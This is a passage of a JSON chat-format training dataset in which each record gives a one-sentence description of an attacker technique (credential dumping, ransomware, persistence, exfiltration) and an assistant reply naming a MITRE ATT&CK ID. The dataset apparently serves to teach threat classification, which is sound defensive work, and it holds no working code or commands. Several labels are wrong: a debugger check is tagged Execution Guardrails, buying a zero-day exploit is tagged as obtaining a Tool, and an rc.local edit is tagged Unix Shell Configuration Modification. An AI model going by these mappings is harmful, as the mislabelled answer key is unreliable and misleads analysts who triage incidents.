            },
            {
                "role": "user",
                "content": "Attacker employs a tool that wipes the PowerShell command history on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary takes advantage of a buffer overflow in a network daemon, allowing them to run code that steals credentials from the local password vault."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a series of publicly accessible web proxies, the attacker tunnels exfiltration traffic through at least two intermediate proxies before reaching the external server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses signed macros in an Excel file that auto‑run on Office start, establishing persistence by creating a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrated a code signing private key from a compromised CI/CD pipeline and used it to sign backdoors."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a backdoor to replace the internal HR portal's homepage with an unauthorized defaced graphic."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program writes stolen credentials to a file and then exfiltrates it by embedding the data in ICMP echo reply packets."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates function event triggers to cause unintended execution of malicious code in serverless environments."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator creates a system-wide scheduled task that triggers a custom DLL injection routine every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised CI runner to pull source code from a private Git repository for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Registry access to locate the location of the NTDS.dit file and reads it directly to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses DGA to produce domain names that change each day, contacting the first resolvable domain."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample encrypts system logs and event logs to prevent forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware verifies the presence of a debugger and halts execution if one is detected."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a code‑signing certificate from a rogue certificate authority using falsified business documents."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code creates an encrypted session using the server's public key to exchange encrypted commands."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the threat actor retrieves the KRBTGT hash and fabricates a Kerberos ticket granting unrestricted domain access."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the Windows Registry hive HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to gather startup program configurations."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script repeatedly writes to the system event log until the logging service crashes, denying further logging on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code writes a launch agent plist into /System/Library/LaunchAgents to auto‑execute a ransomware component."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue kernel module is loaded via the /etc/rc.local script, ensuring it runs every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured Nginx instance, the threat actor uploaded a malicious configuration that allowed remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Dynamic Data Exchange, the malware instructs a trusted Office application to load a malicious DLL from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion was detected where the adversary used the Regsvcs command to run a malicious .NET executable."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote shell is set up over a TOR hidden service to anonymize the C2 server location."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a malicious USB flash drive that auto‑runs a payload and simultaneously copies files to the drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the SIP verification routine, causing the OS to treat tampered files as authentic."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a bespoke archiving tool to bundle system logs and configuration files into a single encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a malicious LC_LOAD_DYLIB entry to a macOS binary to cause a library to be loaded when the binary is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software performed an exhaustive scan of the 10.10.0.0/16 subnet, checking each address for open RDP services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Windows Event Log API to generate an excessive number of log entries, filling up the disk space and halting normal system operations."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts victim files and uploads the ciphertext to the attacker’s C2 server via the same WebSocket connection used for command exchange."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables the Linux audit daemon (auditd) to prevent logging of their malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a rootkit to hook network stack functions, allowing it to intercept and alter outbound traffic without detection."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed Confluence's database directly via SQL injection to extract user credentials."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a payload in the icon of a .lnk file, causing execution of the hidden script when the file is rendered."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the system's input handling library to silently collect GUI-based credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the default home page URL in Outlook to a crafted malicious website, the attacker achieves persistence and initial code execution."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers a loop of login attempts to a remote desktop service, consuming all available session slots and causing the endpoint to deny legitimate connections."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested a stolen Azure AD access token from a compromised web server and used it to call the Microsoft Graph API, obtaining mailboxes and user data without needing the user password."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a Visual Basic script that disables Windows Defender by modifying security policies."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using fileless malware that resides in memory only during the attack"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering Linux netfilter (iptables) rules, the threat actor filters network packets, causing legitimate traffic to be rerouted to malicious destinations."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires a zero‑day vulnerability exploit from a private seller."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs 'systeminfo' to gather detailed OS version, build number, and installed hotfixes."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a small utility to convert a binary file from its ASCII85 representation back to binary."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor signs up for a serverless platform with minimal verification and deploys a Go binary that performs credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor transforms stolen files with a custom 7‑bit encoding scheme to bypass data loss prevention filters."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes a step to programmatically delete cloud VMs via the provider's SDK."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embedded malicious code within an image file's least significant bits, delivering the payload when the image is viewed."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent malware component records keystrokes, including passwords, and writes them to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing email includes a link that, when visited, runs a malicious JavaScript payload to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs social engineering tactics to trick an employee into installing malware on their system, which then spreads laterally within the network."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden service extracts the 'cookies' and 'local storage' data from the Firefox profile directory to hijack sessions."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a malicious driver signed with a counterfeit certificate, tricking the OS into loading it as a legitimate component."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a crafted PDF that exploits a vulnerability in the PDF reader to execute arbitrary code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a custom URI protocol that is marked for auto-elevation, then crafts a link that, when clicked, runs the malicious binary with elevated rights without prompting the user."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script modifies the LaunchAgents plist at ~/Library/LaunchAgents/com.example.agent.plist to achieve persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a Python script that sets up a scheduled task to execute at system startup, ensuring persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell commands are embedded in a PowerPoint .potx template, which launches when the template is loaded by the user."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up a covert internal proxy that forwards traffic to their external C2 server, avoiding outbound restrictions."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Task Scheduler API to register a task that launches a backdoor binary with elevated privileges on login."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to convert sensitive documents into a UUencoded string for covert exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion disables the security center service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the Trusted Platform Module (TPM) on the target system to prevent disk encryption from functioning."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes malicious code into a web application’s database by exploiting a SQL injection vulnerability, allowing them to execute commands when the data is later processed."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan registers a service that executes a script located in the system's Startup folder during system boot."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is obtained by modifying the /etc/rc.local file to execute a backdoor script on each system startup."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider with access to the accounting system uploaded a custom script that scraped invoice data and sent it to an external FTP server."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber criminals acquired a DNS server to create fast‑flux domains for their malware distribution network."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a new subkey under HKLM\\SYSTEM\\CurrentControlSet\\Services\\ to install a rogue service for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware retrieves cloud instance metadata, including secrets, by targeting the 169.254.169.254 metadata IP address."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion removes entries from system integrity monitoring logs, preventing defenders from seeing signs of compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group crafts a malicious certificate to perform man‑in‑the‑middle attacks on TLS traffic."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary launches a benign-looking process with command-line arguments that mimic a legitimate process, causing security tools to log the spoofed arguments instead of the malicious ones."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a compromised libpam.so library into /lib/security, causing all authentication mechanisms to validate attacker-controlled credentials."
            },
            {
                "role": "assistant",
